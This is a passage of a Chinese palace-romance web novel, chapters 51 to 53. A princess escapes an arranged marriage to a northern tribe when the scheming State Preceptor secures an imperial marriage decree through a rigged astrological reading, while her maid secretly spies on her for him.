可惜户部大案的证据已经被人生生断掉,又像是之前的朱砂案一样,一环扣一环,闻锐达深感无力,他双手握拳,用力地锤了一下桌面,造出的声响让外面守着的小厮赶进来,他疲惫地摆摆手,让对方出去,又撑着头闭上眼。 事到如今,陛下要他快点给出结果,他也只能将漠北下毒的证词呈上去,了结此案,但戏班子的事却没有那么简单,他必须得亲自下一趟江南,抓住那些人的尾巴。 想到自己要离开京城,去江南查案,至少半月都无法回来,再想到昭华公主殿下秾丽的面容,天真的神情,还有许怀鹤挑衅的神色,他便感到深深的不甘。 他并不愚蠢,知道昭华公主殿下心悦的人多半就是许怀鹤,也知道许怀鹤是故意几次三番打扰他和昭华公主殿下谈话,刻意出现在他的面前,用行动告诉他不要痴心妄想,可他就是不甘心。 凭什么?凭什么是许怀鹤?许怀鹤那样卑鄙的小人,怎么配得上昭华公主殿下?! 他猛地站起身,来到窗前,看着外面簌簌的落雪,滚烫愤怒的心被冷风一吹,终于逐渐平静下来。 闻锐达怀着凝重的心绪走回桌前,拿起毛笔,铺开上好的春风纸,凝神片刻,最后还是在纸上落下一个墨点,缓缓开始写信。 他要告诉公主殿下,许怀鹤并非好人,若是有一日,许怀鹤负了公主殿下,他希望公主殿下能向自己求助,他一定会竭尽所能,帮公主殿下逃出许怀鹤的魔爪。 公主殿下收到这封信后,或许会疑惑不解,又或许会生气,觉得他污蔑许怀鹤,但那都不重要,他只希望公主殿下能看到这封信,记住他说的话,若有朝一日公主殿下真的被许怀鹤伤害, 自己就是公主殿下能依靠的人。 写完信后,闻锐达的手都有些颤抖,他放好笔,又看了一遍信的内容,确定没问题后,等墨迹晾干,才装进信封中,让小厮拿着信去公主府。 接到信的人是从外买羊奶回来的春桃,她一路进了容钰的卧房,等青竹知晓这事,已经迟了,她没能有机会在公主殿下看到信之前,按照国师大人的吩咐,将闻锐达寄来的东西一律烧毁,只能眼睁睁地看着公主殿下读完了信。【你现在阅读的是 】 50-60 第51章 第51章自己一开始不也在欺骗许…… 青竹心里一紧,忍不住想,公主府里这么多暗桩,居然没有一个人拦住! 也是巧了,许怀鹤安排在府里的人都在忙活手上的事,没人知道春桃拿了闻锐达的信,且闻锐达让小厮送信的时候行踪隐秘一些,别被他人发现,这才让春桃一路顺畅无阻地进了卧房。 这次是自己失职,没能完成国师大人吩咐下来的事,也不知会受到什么样的惩罚。 想到国师大人狠辣的手段,青竹不由得有些害怕,她心下惴惴,缓步走到昭华公主殿下的身侧,假意整理公主手边的话本,微微偏头,想要看一眼信纸上的内容,而容钰却恰好合上了信纸。 青竹连忙快速将话本推到一边,借机打量公主殿下脸上的神情,却发现公主殿下似乎是在思索着什么,细眉微微蹙起,粉嫩柔软的唇也抿着。 闻锐达寄来的信中,句句都是对许怀鹤的诋毁,说他图谋不轨,是行径卑劣的小人,容钰看的有些生气,她相信闻锐达断案如神的能力,但却觉得闻锐达看待许怀鹤有失偏颇。 许怀鹤才不是他信中那样的人!闻锐达居然还说什么,若是许怀鹤将来欺负自己,负了自己,就让自己去找他帮忙,求助于他,呸,才不会呢,许怀鹤绝不会对自己不好! 但不知怎么的,容钰的心口却跳的厉害,惶惶不安。 在看到那句“他不过是欺骗公主殿下”时,容钰的心跳也跟着漏了一拍,像被人掩住了口鼻,喉头涌上窒息,她愣愣地想,自己一开始不也在欺骗许怀鹤么? 若是许怀鹤以后知道自己一开始是在欺瞒他,并非真心爱他,是想从他这里得到安稳的未来,继续享受荣华富贵,许怀鹤又会怎么想?会生气吗?会……不爱她了吗? 不行,不能再想了,容钰轻轻呼了口气,捂住胸口,将薄薄的信纸重新叠好塞回信封里,装进妆匣里锁好。 她默默告诉自己,不要被闻锐达的信扰乱心神,不要被这些莫须有的东西吓住,最终还是忍不住道:“青竹,你去问问国师今日在做什么?” 国师府就在隔壁,遣人去问也不过一炷香的事,青竹心里十分害怕被国师大人责罚,迈出去的步子犹如千斤重,但依旧不敢耽搁,连忙赶去了国师府。 门口的家丁告知她,国师大人并不在府中,早已出了门,去了观星楼,和钦天监一同测算规划即将到来的开春祭祀大典,青竹松了口气,转身去了街边的米铺,将自己得知的消息,还有闻锐达写信来的事告诉了米铺的掌柜,这才又回了公主府。 青竹进屋内,低声向容钰告知了从家丁那里听来的消息,随后福了福身,退出了里间,来到外面。 “你怎么去了这么久才回来?”春桃看到青竹过来,一把拉过她的臂弯,笑眯眯地将包在帕子里的羊乳酥递给她,“瞧,这是我今早刚买回来的新鲜羊奶,厨娘做出来的,可好吃了,你快尝尝。” 京城周边的庄子如今养羊的也逐渐多了起来,只要给的银钱足够多,总能买到最新鲜的羊奶。 去了腥味做出来的糕点松软绵白,十分可口,混合蜂蜜、杏仁等辅料,甜而不腻,青竹咬了一口,害怕的心情缓和了一些,但更多涌上来的是,对公主殿下的愧疚。 平常人家根本吃不起这些好东西,也只有跟着公主殿下,她们才能像那些高门小姐一样吃到这样昂贵精细的糕点。 公主殿下对她们极好,从不亏待她们的吃穿,还允诺给她们除奴籍,给她们一大笔钱,让她们好好生活,而自己却对公主殿下并不非诚心相待,她是被安插在公主殿下身边的暗桩,是国师大人监视公主殿下的眼线。 嘴里原本甜蜜的糕点突然变得苦涩,青竹动作顿了顿,忽地问:“春桃,若是,我是说假如,公主殿下身边有一名婢女,她真正的主子并非公主殿下,但她绝没有做过什么伤害殿下的事,你会如何看待她?” 春桃愣了愣,觉得青竹这话没头没尾,让她摸不着头脑,但还是遵循本心,说出了自己的想法:“肯定是将她赶出府去啊!她有别的主子,不把咱们殿下放在第一位,公主府里岂能还能容下她?” “再说了,她目前没有做什么伤害殿下的事,并不意味着她以后不会做。”春桃撅了撅嘴,“若是她那位主子吩咐了什么命令,让她伤害殿下,她是听还是不听?有这样的隐患,肯定要早早拔除!” 青竹猛地攥紧了自己的双手,囫囵将剩下的糕点塞进嘴里,假装噎到了,转身去倒茶,实则是背过身去,不想让春桃看见此刻自己脸上失魂落魄的神情。 屋内,容钰靠坐在拔步床边,手炉被她放在一边,原本摸着手炉的地方,现在窝着暖烘烘的雪团,她摸着雪团毛茸茸的脑袋,心绪起伏不定。 往年冬日,她病着难熬,但不过在床上睡着,迷迷糊糊之间大半个寒冬就过去了,如今身子利索了,也不怕风一吹就感风寒一病不起,她反而觉得无聊极了,往日爱看的话本子也失去了滋味。 她忽地又开始想念起许怀鹤来,想和许怀鹤待在一起,不管去哪里都好,只要有许怀鹤陪着,哪怕枯坐着赏雪景饮茶,也是快乐的。 可许怀鹤有正事要做,她也不便打扰,更不好直接去观星楼,此刻钦天监的人必定也在那边,自己若是强行让许怀鹤陪自己,隔天满京城必然又是关于她的流言,说她娇蛮跋扈了。 天色也暗了下去,屋里依次亮起了烛台,暖色的光晕映在窗户纸上,静谧又安详。容钰有些疲惫地揉了揉眼睛,和衣躺在了锦被上,她原本只想小憩一会儿,等不再心烦就起身让春桃为自己梳洗,却没想直接睡了过去。 都说日有所思,夜有所梦,朦胧之间,梦里的容钰再一次回到了坤宁宫中,面容已经模糊的母后温柔地牵起她的手,拉着她在檀木榻边坐下,声音如水:“我们昭华都这么大了,真漂亮。” 容钰猛地扑进先皇后怀里,泪水早就已经打湿了她的面庞,她感受着母后身上淡淡的牡丹香气,仿佛又一次回到了儿时,哽咽道:“母后,昭华好想你。” 先皇后轻轻抚摸着容钰乌黑的秀发,温声安慰:“我们昭华是天底下最勇敢,最善良,最聪明,最美丽的女子,母后知道,哪怕没有母后,昭华也一定能过得很好,对不对?” “嗯,”容钰抽泣出声,她重重点头,对着母亲许诺,“昭华一定会过得很好很好,比任何人都要好,比皇贵妃和永宁好。” 她的世界有时很大很大,背负着上一世惨死的沉重命运,势必要改变未来,还要让镇国公府都平安,自己所爱之人皆在身边; 她的世界有时又很小很小,她其实也不过是一个爱美的,有点虚荣心的小姑娘罢了,和普通人一样,希望自己能够享受荣华富贵,有一个好夫婿,平平安安地顺遂一生。 只有靠在母亲的臂弯里,躺在母亲的怀抱中,她才能肆 无忌惮地放下一切,痛痛快快地哭一场,将不能为外人道的重生秘密说出口,把自己的委屈,把自己的害怕和担忧全都说出来。 她在梦里说了很久,说到自己都倦了,说到眼泪都流干了,先皇后轻柔地抚摸着她的发顶,像哄婴儿那样拍着她的肩背,最后看着容钰在梦里也沉眠,轻声叹道:“辛苦你了。” 容钰醒来时,双臂下意识地朝前一伸,却扑了个空,面前并没有母后温暖的怀抱,只有空荡荡的拔步床,她呆了半晌才拉了床边的铃,让春桃进来为她更衣。 “殿下的眼睛怎么肿了!”春桃惊呼了一声,连忙让小丫鬟去取雪水来,用帕子裹了,在容钰眼边贴着消肿。 容钰抬起葱白一样的指尖,轻轻按了按自己的眼下,果然有些浮肿,也不知是不是昨夜在梦中哭的太多。 她心情沉郁,小丫鬟们手脚利索地帮她更衣洗漱,容钰抿了口清茶漱口,春桃一边替她绾发,一边低声道:“殿下,今儿一早,永宁公主就派人拿了帖子过来,请殿下午后去茶楼一叙。” “那宫女奴婢已经打发走了,帖子就放在外面的桌上,殿下若是不想去,不管那帖子就是。”春桃撅了撅嘴,“谁知道永宁公主安的什么心思?” 容钰也是这么想的,永宁手段毒辣,既然能够害死王雪莹,上辈子又特意来公主府折辱自己,还有什么事是她做不出来的? 如今永宁又伤了脸,心里想必更加扭曲,嫉恨自己,自己就更没有必要去赴约,万一永宁也想杀了自己怎么办? 她开口,声音略带沙哑:“那便不去,把帖子收起来吧。” 春桃应了,继续道:“殿下,国师大人昨夜观天象,说皮影戏班子的事耽搁不得,若是再拖,那群反贼可能就要逃脱了。” 春桃:“所以今日一早,陛下便下了令,让闻大人即刻下江南去捉拿反贼,不得耽误。” 容钰原本还有些困倦,温言顿时惊醒,她抓住春桃的手腕,急道:“快拿纸笔……不,托人快马加鞭赶去驿站,一定要在闻锐达离开之前告诉他,此番下江南一定要小心,若是有病症出现,定要早点问诊!” 她做不到明知闻锐达此番行程凶险,极有可能死在查案中,却袖手旁观,她做不了多的什么,只能提醒闻锐达自己多加小心,希望闻锐达能躲过这一劫。 她和闻锐达虽然算不上朋友,但她也不愿这样清正廉洁的好官潦草去世,更别提自己还欠着闻锐达一个人情,闻锐达也还没有将永宁杀害王雪莹的证据呈给父皇,让永宁得到该有的惩罚,闻锐达是千万不能死的。 春桃见昭华公主殿下如此着急,也连忙让小丫鬟接手,自己赶快出门找人带口信去了。 青竹在外间,将里面的对话听了个一清二楚,她心下更加不安,犹豫之后还是咬了咬牙,悄悄出门,将永宁公主邀约,以及殿下传话闻锐达的消息带给了其他暗桩,让对方把消息传出去,交给国师大人。 做完这些,青竹浅浅吸了一口气,走进室内,她还有另一件事要完成—— 国师大人昨夜传信,要她务必将闻锐达写的信偷出来,将上面的内容熟记,一字不落地转述给他。 第52章 第52章请陛下为臣和昭华公主殿…… 青竹进屋的时候,容钰已经用完了早膳,正坐在窗边逗猫,窗户纸上还贴着窗花和福字,浅淡的光从窗户外透进来,落在容钰荧白的侧脸和雪团的绒毛上,带着几分暖意,娴静又美好。 青竹的心里更加愧疚,但她不得不遵守国师大人的命令,咬了咬牙,默默进了里间。 她悄悄走到铜镜前,假意收拾摆放在桌面上散落的珠玉首饰,借着叮叮当当的细碎声响,掩盖住她用铜丝撬锁的声音,最终顺利取出了藏在妆奁里的那封信。 青竹快速读完了信上的内容,心里掀起惊涛骇浪,这闻锐达的直觉未免也太准,在这世上,能有几人看出国师大人隐藏在君子之风面目下的真性情?而闻锐达居然仅凭借着几次交锋,就能完全看透,还刻意写信来告知公主殿下。 闻锐达的胆子也真是大,居然敢对公主殿下说出,若是国师大人负了殿下,就让殿下去找他这种话,但国师大人怎么可能会给他这样的机会? 青竹皱眉,国师大人此生定不会负公主殿下,闻锐达不过做梦罢了,只是,也不知公主殿下信没信闻锐达说的话。 看完了信,青竹连忙将信封原封不动地放了回去,锁好妆奁,将铜丝藏进袖子里,来到旁边镇定地煮茶。 容钰完全没有察觉到青竹的小动作,她将用来逗猫的孔雀羽毛放下,轻轻托着侧脸,看向窗外的雪景。 院子里的红梅半谢,寒冬也过去了大半,春日却迟迟未来,容钰伸出指尖描摹着窗花的形状,青竹替她端了煮好的热茶过来,散发出阵阵清香。 容钰正准备轻抿一口茶汤,春桃就推了门进来,急急忙忙地对着容钰福了福身,低声道:“殿下,宫里来人了,说是那夜陛下并非不让您入宫,是底下的人自作主张,这会儿皇上大好了,请您再入宫一趟。” 要是换做以前,容钰必定会对这番说辞深信不疑,觉得父皇果真还是疼爱她的,一定是那小太监不懂规矩,欢欢喜喜地入宫去。 但如今,她却心如止水,疲惫至极,不想应付宫里那一张张虚伪的面容,但毕竟是天子的话,她又不得不听从,只能起身备车,准备随小太监入宫去。 这次来的小太监很眼熟,容钰多看了眼,认出他就是父皇身边大太监最信任的徒弟,也是她上一世魂魄离体时看到的,伺候已经登基为帝的许怀鹤的那人。 小太监恭恭敬敬地垂手站着,上次在怀柔宫磕破头,他差点丢了半条命,但有了国师大人送的膏药,他头上的疤痕已经消的差不多,当真神奇,再用帽子压一压,几乎看不出来什么。 他心里十分感激,忍不住悄悄瞥了一眼就在公主府邸旁边的国师府,心里盘算着要怎么还国师大人这份恩情。 进了皇宫,容钰换乘软轿,一路去了御书房,小太监殷勤地在前面引路,又带她进了耳房,备好了茶水和她爱吃的酥点。 容钰心不在焉地坐着,又觉得无聊,随即起身在耳房里转了一圈。 她知道御书房的正房是父皇和其他大臣商谈机要的地方,放着许多机密的信件,她也不会自讨苦吃,去乱翻什么,只是这耳房里的东西大多都不重要,一般都装着些孤本字画,拿出来看一看也无伤大雅。 容钰这么想着,拉开了面前的木柜,映入眼帘的便是一个十分眼熟的木匣,上面还有她亲手画的彩纹,容钰呼吸微顿,不自觉伸出手去。 木匣打开,里面赫然就是她为了庆贺父皇寿辰,送出去的三清像,而此刻,三尊祖师像全都破碎成片,身上的裂纹锋利,好像被一把把尖刀划过,同时也划过了容钰颤抖的心,留下汩汩的血和泪来。 父皇竟厌恶她至此,就连她送出去的生辰礼,也被如此糟蹋! 小太监只看了一眼就心道不好,但又无法阻止昭华公主殿下,只能在旁边默默站着,又听到公主殿下问:“既然碎了,为何不扔掉?” 容钰的语气里带着苦涩和轻嘲,小太监连忙解释道:“回殿下的话,这几尊祖师像是被永宁公主殿下不小心打碎的,陛下说了,先将三清像收着,等找来技艺高超的工匠,再好好修复还原。” 他将“殿下莫要多想”几个字吞了回去,小心观察着昭华公主殿下脸上的神情,担心公主殿下会因此动怒,但出乎他意料的是,容钰只是撇过头轻轻“嗯”了一声,似乎并不在意,唇角带着释然的平淡,又拉开了另一个木柜。 容钰的视线静静地停在面前被精心装裱起来的画上,那甚至都不能算是一幅画,只不过是一个稚童拿起毛笔,胡乱涂抹出来的“寿翁”。 而她只一眼就认出,这是 永宁小时候给父皇的寿礼,永宁将这幅画拿出来的时候,所有人都笑做一团,笑她童趣天真。 容钰也笑了出来,像自己以前太天真,笑自己眼瞎了这么多年,居然没有察觉到一丝不对,没有早早看透这虚假的一切。 有冰凉的眼泪从眼角慢慢滑落,容钰偏头,抬手抹去,没让小太监看到自己的失态,再转过身时,又恢复了往日的雍容华贵。 门外传来太监高声行礼的声音,容钰知道这是父皇来了,她拍了拍裙摆,走向门口,收起那些复杂的情绪,对着进来的男人微微福身:“见过父皇。” 从皇帝肥胖的身躯后,有另一人探出头来,永宁的视线在容钰的脸上深深刮过,咬牙切齿地笑道:“姐姐。” 对于永宁的出现,容钰并没有太多意外,她垂眸,不轻不重地回了句“妹妹”,没有其他任何的寒暄,更不想和永宁演什么姐妹情深,也不想问候父皇的身体是否安康了,等父皇落座后,和永宁依次在两边坐下,静静等待着父皇开口。 大太监端来一碗热气腾腾的药膳,皇帝接过,一边皱眉喝药,一边思索着和亲的事。 被大臣们轮番劝说之后,他也觉得对漠北开战并不是明智之举,有损国力,如今正是休养生息的好时候,而且户部查出来的钱也填补不上国库的亏空,更养不起边关的军队,买不起粮草。 那点钱根本不够用,他不过让人从民间搜罗了好东西,送给皇贵妃做补偿,还给永宁赏赐了一些,就一两银子不剩了,没钱打什么仗?越打越穷。 皇帝立刻就开始思考起了和亲,虽然提出这个建议的大臣被其他人否决,还骂了个狗血淋头,但皇帝却觉得和亲未尝不是一个好办法。 如今漠北虎视眈眈,大夏又打不起仗,送个公主过去和亲,让两国缔结盟约,避免战乱,自己也能稳住皇位,不是很划算么? “漠北虽嚣张,但不愿与大夏开战,大夏也不欲与漠北交恶,”皇帝喝完了药,沉声开口道,“朕觉得,不如和亲,结两国之好,你们觉得呢?” 他嘴里说着这话,但眼睛却只看向容钰。 容钰闻着屋内浓重的药味,有些不舒服地偏过头,用手帕轻掩了一下口鼻,上面的山茶花香气缓解了她的胸闷和恶心。 听到父皇说出的话,她心里凉透了,差点就没能忍住恶心干呕出来,上一世,也是在御书房,父皇只用轻飘飘的一句话就将她打入无边地狱,将她踩进泥沼里,这一世依旧如此吗? 不,她不愿意! 对面,永宁幸灾乐祸地看着容钰难受的模样,心里畅快极了,自己可是听说漠北那边风俗奇特,几个兄弟会共享一个妻子,漠北又贫瘠苦寒,那边的人野蛮无理,容钰过去只有受罪的份,再没办法享受荣华富贵,还要伺候好几个男人,给他们生孩子! 就该这样!永宁无不恶毒地弯唇,心想容钰长着这么一张祸国殃民的脸,就该被糟蹋,被蹂躏,像花楼女子一样在许多男人身下被作践! 永宁得意地看着容钰,她可一点都不担心自己会被送去和亲,昨夜父皇已经到怀柔宫,和母妃提了这件事,母妃向来会拿捏父皇,当场就柔柔弱弱地哭了起来,边哭边轻轻捶打父皇的手臂,埋怨他说:“臣妾刚没了孩子,难道陛下又想把永宁送走吗?臣妾如今就只剩永宁一个女儿了……” 父皇心疼母妃,当即就向母妃保证,绝不会将她送去和亲,而母妃则顺势提起了昭华,父皇果然陷入考虑之中,这不,才过了一夜,父皇就将她这个姐姐叫到了宫里来,要将容钰送去和亲了呢! “女儿……”容钰颤声开口,眼前闪过阵阵幻晕,“父皇若是执意和亲,女儿愚钝,也不便多说什么,不懂这些政事。只是女儿已经挑好了驸马,正想着挑个好日子和您说。” 听到容钰的回答,皇帝和永宁都愣了愣,皇帝有些怀疑地眯了眯眼睛:“是吗?你上次入宫的时候,不是还说不想嫁人,想多留几年吗,如今就挑好驸马了?是谁?” 容钰连忙道:“不敢欺瞒父皇,女儿的确已经有心悦的人,那人也心悦女儿,是国师许怀鹤。” 许怀鹤? 闻言另外两人又是一愣,许怀鹤是什么人?那可是清朗高洁,不染俗尘的修道之人,怎么可能会陷入男女情爱之中?而且这国师除了教导过容钰一段时间之外,两人并无其他交集,怎么可能突然互相钟情? 永宁一脸不屑,完全不相信容钰所说的话,觉得容钰不过垂死挣扎,不想去和亲,所以着急胡乱说了许怀鹤的名讳出来。 而皇帝也和永宁想的差不多,觉得容钰是在撒谎,有些不耐地冷哼了一声:“好,去传许怀鹤过来,朕倒要看看你们是不是真的互相爱慕。” 小太监连忙领命出门,赶去了观星楼,一脸焦急地将御书房内发生的事告知了许怀鹤。他心里也觉得昭华公主殿下多半是在说谎话,又见国师大人一脸不悦,心里更加确定了三分。 许怀鹤在听到老皇帝想把昭华公主殿下送去和亲的时候,眼里就闪过了杀意,他昨夜就从暗桩那里得知老皇帝有和亲的意图,却没想到这老匹夫竟然软弱无能至此。 许怀鹤冷冷抬眼,心道自己原先的计划还是太仁慈了,等他得手之后,必定要把这老东西千刀万剐,施以极刑! 他忍住怒容,但还是克制不住脸色阴沉,跟着小太监赶去了御书房,进门之后,直接拱手,对着面前的皇帝沉声道:“请陛下为臣和昭华公主殿下赐婚!” 第53章 第53章好事将近。 许怀鹤的尾音在安静的御书房内空荡荡地回响着,永宁满眼都是不敢置信,嫉妒翻涌上她的心头,新长出来的指甲被她硬生生掐在扶手上按断,用袖子遮住溢出了血的指尖,在内心疯狂地大喊: 凭什么?凭什么?! 为什么就连许怀鹤这样的君子,凛凛风骨,不好女色,清心寡欲的修道之人,也会喜欢上容钰?就因为容钰那张脸吗?! 容钰只不过是一个愚蠢的草包,她不擅女红,更不懂诗书,连字画都欣赏不来,身上没有半分可取之处,连大家闺秀都比不上,空有好皮囊和尊贵的出身罢了,许怀鹤竟然会对这样的女人动心?! 自己哪点不比容钰强?许怀鹤之前居然还几次无视自己的示好,对怀柔宫敬而远之,连玉容膏都不肯为她制一罐,却偏偏把容钰放在了心上,还说要娶容钰,做容钰的驸马,可笑,太可笑了! 永宁却不看许怀鹤,转而死死盯着容钰,眼里的恶毒几乎要溢出来,恨不得当场把容钰掐死在这里。 皇帝也有些惊疑不定,他没想到许怀鹤和容钰竟然真的两情相悦,许怀鹤也当众承认了,大着胆子请他赐婚。 许怀鹤这样清高的修道之人,最终也还是落了凡尘,可惜,可惜。 但皇帝只是震惊了几息就回过神来,开始盘算起了将自己的女儿许配给许怀鹤究竟划不划算。 他之前一直觉着许怀鹤此人不好钱财,不好权势,更不好女色,似乎没有什么把柄可以拿捏,担心许怀鹤这样的方外之人不能完全为他所用,虽然对许怀鹤有信任,但始终怀着一丝提防。 而如今,许怀鹤居然将把柄递到了他面前,有了心上人,那自己不正好抓住许怀鹤的弱点,用容钰来拿捏他?许怀鹤以后顾及着自己算是他岳父的情分,想必也会更加尽心尽力地讨好自己吧。 许怀鹤只是轻飘飘地看了一眼皇帝有些抽动的得意面容,便知道他在算计什么,不屑地冷冷挑了挑唇。 而另一侧的容钰无力地靠在椅背上,却完全不知这些暗地里的阴谋和算计,她双手紧握着,落在许怀鹤身上的目光丝毫不曾挪动。 她知道,她坚信,许怀鹤一定会来的。 看到许怀鹤进门的那一刻,她原本不安后怕的心跳忽然就平静了下来,像被人一把推下悬崖后,以为自己差点必死无疑,却又被许怀鹤稳稳地接住,劫后余生。 只要有许怀鹤在,一切危险都会被挡在外面,不能伤害自己分毫,她只需要待在许怀鹤的怀抱里,紧紧攥住许怀鹤的衣袖,就能安然无恙地度过一切难关。 见皇帝还有一些疑虑,许怀鹤再下一剂猛药 ,接着平静道:“陛下,臣原是孤厄命,命中亲缘淡泊,所以父母早逝,克妻克子,臣也无意娶妻,但昭华公主殿下不一样。” 听到“克妻克子”几个字,皇帝顿时来了兴趣,忍不住道:“哦?” 许怀鹤面不改色地撒着弥天大谎,言语间没有丝毫停顿,面色镇定淡然:“昭华公主殿下命格高贵,但恰好与臣相配,八字相和,相得益彰,不仅能改变臣的孤厄命,还能让昭华公主殿下的命格更显贵,旺亲旺友,福泽亲人和大夏,让大夏繁荣昌盛。” 永宁听完这番话,已然是彻底笑不出来,她紧紧咬着牙,用厚粉糊住的脸往下掉着白粉,丑陋的黑色疤痕浮现,但她浑然不觉,刻意道:“是吗?国师会不会算错了?” 容钰怎么可能有那样的好命格?她就该是条贱命,贱人! 许怀鹤连看都懒得看她,遮住眼中的冷意和杀意:“臣无半句虚言。” 原本就信奉道教的皇帝听完这番话,心中更加动摇,他抬了抬手,让大太监去传钦天监的人,再找几个本事了得的道士过来,让他们当场算一算容钰和许怀鹤的命格是否相配,是否像许怀鹤所说的那样,若是两人结为夫妻,能够福泽绵延。 容钰听着许怀鹤所言,不由得有些担心,她不知道许怀鹤话里的真假,若是钦天监和其他道士演算出来的结果不一样,那父皇必定会责罚许怀鹤,也不会同意许怀鹤做她的驸马,她还是会被送去漠北和亲的。 想到这个结果,容钰的手微微颤抖起来,如坠冰窖,害怕地看向许怀鹤,想从许怀鹤那里得到几分安慰。 许怀鹤也在这时被皇帝赐座,在落座的同一时刻,仿佛捕捉到容钰的视线,他微微偏头,看到了容钰眼中的惶恐不安,如同往常一样,对着容钰轻柔地笑了笑,眉目温柔,瞬间驱散了容钰心头的阴霾。 永宁将这一幕收进眼底,她一口牙都要咬碎,心里已经用剪刀戳了容钰千万遍,恨不得将她千刀万剐,又埋怨许怀鹤眼瞎。 永宁心想,要是许怀鹤说的是假话,父皇必定发怒,届时她再提出让许怀鹤做自己的驸马,请父皇赐婚,抢走容钰的心上人,想必容钰脸上的表情一定非常精彩。 在座的几人内心想法各异,御书房内的氛围冷的凝冰,大太监大气都不敢喘,安安静静地站在一旁,直到徒弟带着钦天监的人和另外几个道士赶来,他才悄悄松了一口气,连忙将人带进来,给了他们昭华公主殿下和国师许怀鹤的八字,并不提前说些什么,只让他们合算。 许怀鹤的神色极其镇定,没有半分心虚和慌乱,甚至还有闲心饮茶。 钦天监的人早就换成了他的手下,他在御书房里说的话比小太监更快一步从暗桩那里传出去,钦天监的人早就得到了消息,知道该怎么说。 这几个道士想必也是聪明人,只看一眼这些八字,但凡有点本事就能知道上面是王公贵人,这些事可不是他们能掺和的,只需要附和钦天监的话就好,免得因为多言掉了脑袋。 许怀鹤对人心的把控已经至臻,那几个道士看完八字,互相对视了一眼,果然不敢多说什么,甚至有些心惊,左边这份八字实在太奇特,竟隐隐有帝王相! 钦天监向上首的天子道:“回陛下,这两人的八字奇特,左边这人的八字是天生孤厄命,命中注定无父无母,无妻无子,但若是和右边这人的八字相合,那便是天造地设的一对,不仅能互相扶持,还能旺亲友,旺他人,甚至,旺整个大夏。” 几个道士连忙跟着附和:“是,这几位大人所言极是。” 怎么可能? 永宁瞪大了眼睛,差点把手边的茶盏甩出去,容钰则是长舒了一口气,悬着的心终于放下来,对上许怀鹤带笑的眼睛,心里轻松了不少,又转过头期望地看着父皇,希望父皇能为她和许怀鹤赐婚。 钦天监的人和几个道士离开了御书房,皇帝沉思片刻,为了自己的统治长存,相比起将容钰送去和亲,维系两国之好,让容钰留在大夏作用的确更大些。 要和亲的话,等春猎过了,随便从宗室旁支里面挑一个女子出来,给她封个郡主,提一提身份,再把她送去和亲就行,想必漠北那边也不会多话。 于是皇帝缓缓开口:“好,既然你们二人是天造地设的一对,那朕也顺应天意,为你们二人赐婚。” 大太监送上空白的圣旨和笔墨,皇帝抬笔,洋洋洒洒地写下赐婚圣旨,永宁嫉妒得眼睛都红了,但又不能多说什么,扯出极其难看的笑脸,对着容钰皮笑肉不笑道:“恭喜姐姐了。” 容钰无意识地忽略了永宁,也错过了永宁怨毒的眼神,她恍惚地起身,和许怀鹤一同接了旨。 她甚至都不记得自己是怎么离开御书房,离开皇宫的,只知道许怀鹤一直陪在自己身侧,沉檀香气包裹着她,托举着她,将她上一世支离破碎,孤独漂泊的灵魂一片片拼凑起来,回到了公主府里。 容钰整个人都是瘫软的,被青竹和春桃扶着才没有失态,她跌坐在拔步床边,久久不能回神,直到真的确定自己平安无恙地离开了御书房,回到了公主府,没有被软禁,也没有被送去和亲,这才缓缓闭上眼睛,忍住鼻尖的酸楚,微微弯唇笑了起来。 她终于避开了未来凄惨的命运。 雪团跳上她的膝盖,有些担心地喵呜叫了几声,容钰摸了摸雪团的耳朵,这才感觉到自己腹中饥饿,正要让春桃去厨房传饭,就看到春桃从外面进来,神色惊喜又惊讶:“殿下,钦天监的人过来说,他们算了几个婚期,最好的日子就在下月,咱们如今就得准备起来了!” 在皇宫时,她和青竹没有资格进入御书房,只能在外面候着,里面发生了什么也不知道,看着公主神思不属,脸色苍白的样子,也不敢多问,这会儿回了府,才从钦天监那里得到了答案,原来是喜事将近,国师大人真的要做她们殿下的驸马了! 容钰有些懵:“下月?” 这么快吗?上一世表哥和右相嫡女的婚事拖了一两年都没能成,而自己下个月就要嫁给许怀鹤,和许怀鹤成为夫妻了吗? 容钰心里有些不踏实,忍不住开始胡思乱想起来,她想到许怀鹤说什么孤厄命,钦天监也证实了,那许怀鹤是不是早就知道他们天生一对,所以才默许了自己接近,那许怀鹤愿意娶自己,是不是也因为命格,不是因为爱她? 不,容钰微微晃了晃脑袋,她捂住胸口,心道自己不该这么揣测许怀鹤,许怀鹤应当是真心爱她的,许怀鹤都在父皇面前求父皇赐婚了,又一次救她于水火之中,救了她的性命,她怎么能这么想呢? 容钰压下心底那点不安,对着春桃笑了笑:“好,我有些饿了,你先让厨房做午膳来,再和青竹去把这些好消息告诉嬷嬷,传去镇国公府,告诉舅舅和外祖父。” 春桃欢欢喜喜地领命去了,还给钦天监的人塞了一大把碎金子沾喜气,拉着青竹的手欢快道:“太好了,国师大人和咱们殿下终于能成为夫妻了,再也不怕旁的人说什么闲话。” “国师府和公主府挨得真近啊,”春桃笑眯眯的,“近点好,方便国师大人住进咱们公主府里,伺候公主殿下。” 青竹抿了抿唇,也笑:“是啊,太好了。” 国师大人终于得偿所愿了,自己也能安心地待在公主殿下身边,依旧尽心尽力地保护殿下,再也不用担心被赶走了。 桂嬷嬷得知这个消息后,也是笑的合不拢嘴,虽然她一开始并不赞成公主殿下做劳什子的事讨好国师,但既然他们两人两情相悦,又有皇帝赐婚,也是皆大欢喜。 婚期太近不是什么问题,修养了这么久,桂嬷嬷的精气神好了不少,兴致冲冲地就要帮容钰料理出嫁的事。 当年也是桂嬷嬷一手置办,送容钰的母亲,先皇后出嫁的,那时皇帝还并非天子,送婚娶亲的流程她都清清楚楚,必定不会出任何差错,她一定要让公主殿下风风光光,和和美美地出嫁! 镇国公府得到消息,屋内几人都是一惊,全然没想到昭华公主殿下这么快就要出嫁。 但既然是陛下赐婚,他们也不好多言,想了想国师许怀鹤 的为人和风评,又高兴起来,觉得和容钰相配并无任何不妥,也欢欢喜喜地开始准备给容钰添嫁妆,虽然知道昭华公主殿下并不缺他们这些,但好歹是一份来自长辈的心意。 顾云溪悄悄扯了扯兄长的袖子,低声问:“哥哥,要是殿下有了驸马,我们还能经常见到她吗?她还会来镇国公府玩吗?” 顾云溪也到了说亲的年纪,她有的手帕交已经嫁了人,但那人自从嫁人之后,就再极少出来和她们像以前那样赏花游玩,作诗作曲,好像被困在了后宅里,她担心公主殿下也会像那样,不由得有些不安。 